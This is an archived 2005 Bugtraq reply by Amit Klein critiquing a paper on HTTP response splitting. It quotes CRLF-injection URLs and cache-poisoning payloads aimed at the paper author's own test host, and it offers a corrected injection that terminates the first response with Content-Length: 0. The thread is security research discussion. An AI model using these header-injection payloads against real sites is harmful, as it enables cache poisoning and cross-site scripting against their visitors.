bugtraq - Re: HTTP RESPONSE SPLITTING by Diabolic Crab

lists.openwall.net		lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC
Open Source and information security mailing list archives
Hash Suite: Windows password security audit tool. GUI, reports in PDF.
[<prev] [next>] [<thread-prev] [day] [month] [year] [list]
Date: Sun, 17 Apr 2005 15:44:52 +0200
From: "Amit Klein (AKsecurity)" <aksecurity@...pop.com>
To: bugtraq@...urityfocus.com, dcrab <dcrab@...kerscenter.com>
Subject: Re: HTTP RESPONSE SPLITTING by Diabolic Crab


Hi dcrab

See my comments below.

Thanks,
-Amit

On 13 Apr 2005 at 13:45, dcrab wrote:

> 
> 
> HTTP RESPONSE SPLITTING
>      by Diabolic Crab (dcrab@...kerscenter.com) 
>      http://www.digitalparadox.org
>

It would make sense to mention that this is based on your reference 
#4 ("Divide and Conquer - HTTP Response Splitting, Web Cache 
Poisoning and Related Topics", by yours truly...).

[...]
 
> This paper is going to focus on the usage of HTTP response 
splitting vulnerabilities in the case of web applications. This type 
of vulnerabiliy being fairly new, I have found it to be present in 
many large corporate websites, some of which might surprise you, most 
of them still exist. 

Right on!

> Thus injecting something like, 
> 
> http://icis.digitalparadox.org/~dcrab/redirect.php?page=%0d%0aContent-Type:%20text/html%0d%0aHTTP/1.1%20200%20OK%0d%0aContent-Type:%20text/html%0d%0a%0d%0a%3Chtml%3E%3Cfont%20color=red%3Ehey%3C/font%3E%3C/html%3E
> 

[...]
 
> Server to User 302 Found Response
> 
> HTTP/1.1 302 Found                                                                   [First standard 302 response]
> Date: Tue, 12 Apr 2005 22:09:07 GMT
> Server: Apache/1.3.29 (Unix) mod_ssl/2.8.16 OpenSSL/0.9.7c
> Location: 
> Content-Type: text/html
> HTTP/1.1 200 OK                                                                         [Second New response created by attacker begins]
> Content-Type: text/html
> 
> <html><font color=red>hey</font></html>                                 [Arbitary input by user is shown as the redirected page]            
> Keep-Alive: timeout=15, max=100
> Connection: Keep-Alive
> Transfer-Encoding: chunked
> Content-Type: text/html
> 
> 0
> 
> As we can see in the exploitation process above, the server runs the normal 302 response, the arbitary input we gave in the location header causes it to start a new 200 OK response which shows our inputted data to the user as a normal web server response, Thus we have carried out a Cross Site Scripting exploitation of the Html Splitting vulnerability.

I'm afraid I have to disagree here. The above is still an almost 
valid *single* HTTP response. It has a URL line, headers (including 2 
not so valid headers) followed by HTML body. There is no length 
specification in the header, and thus many agents will assume that 
the body extends to the end of information (connection is to be 
closed by the server) - that's a standard practice to overcome CGI 
scripts that don't send Content-Length header.
Anyway, even if some HTTP agents would interpret the first double 
CRLF as termination for a response (i.e. assuming Content-Length=0), 
the body is still not a valid HTTP/1.x response.

If you want to really split the HTTP response stream into two 
responses, you will need to properly terminate the first response, 
and then create a whole new response, e.g. by injecting:

%0d%0aContent-Length:%200%0d%0a%0d%0aHTTP/1.1%20200%20OK%0d%0aContent-
Length:%20NNN%0d%0aContent-
Type:%20text/html%0d%0a%0d%0a<html>...</html>

And regarding XSS, the original injection does not end up in an XSS 
condition with IE - see your own reference #1 (CSS before redirect 
by Thomas Schreiber (BugTraq posting)).

> 
> Cache poisoning:
> To make the cache server, cache our request we must add some new headers. The Last-Modified header in the HTTP response will cause most cache servers to cache the web site, thus allowing our poisoned website to appear in the cache, as long as the Last-modified header is sent with a date ahead of the current date. Sending of the Cache-Control: no-cache and/or Pragma: no-cache requests will cause non cached websites to be added to the cache. 
> 
> Some example versions of the cache poisoning exploits for the above vulnerable example are,
> 
> Last-Modified example:
> 
> http://icis.digitalparadox.org/redirect.php?page=%0d%0aContent-Type:%20text/html%0d%0a%0d%0aHTTP/1.1%20200%20OK%0d%0aLast-Modified:%20Wed,%2013%20Jan%202006%2012:44:23%20GMT%0d%0aContent-Type:%20text/html%0d%0a%0d%0a<html><font color=red>hey</font></html> HTTP/1.1
> 
> Cache-Control example:
> http://icis.digitalparadox.org/redirect.php?page=%0d%0aContent-Type:%20text/html%0d%0a%0d%0aHTTP/1.1%20200%20OK%0d%0aCache-Control:%20no-cache%0d%0aContent-Type:%20text/html%0d%0a%0d%0a<html><font color=red>hey</font></html> HTTP/1.1
> 
> Pragma example:
> http://icis.digitalparadox.org/redirect.php?page=%0d%0aContent-Type:%20text/html%0d%0a%0d%0aHTTP/1.1%20200%20OK%0d%0aPragma:%20no-cache%0d%0aContent-Type:%20text/html%0d%0a%0d%0a<html><font color=red>hey</font></html> HTTP/1.1
> 

Again, you need to first terminate the first response, e.g. by 
injecting Content-Length: 0. And including raw white spaces (between 
"font" and "color" is probably not a good idea too.

[...]
> 
> 
> Refferences:
> http://www.securityfocus.com/archive/107/336744
> http://www.securityfocus.com/archive/1/271515
> http://www.securityfocus.com/archive/1/290872
> http://www.packetstormsecurity.org/papers/general/whitepaper_httpresponse.pdf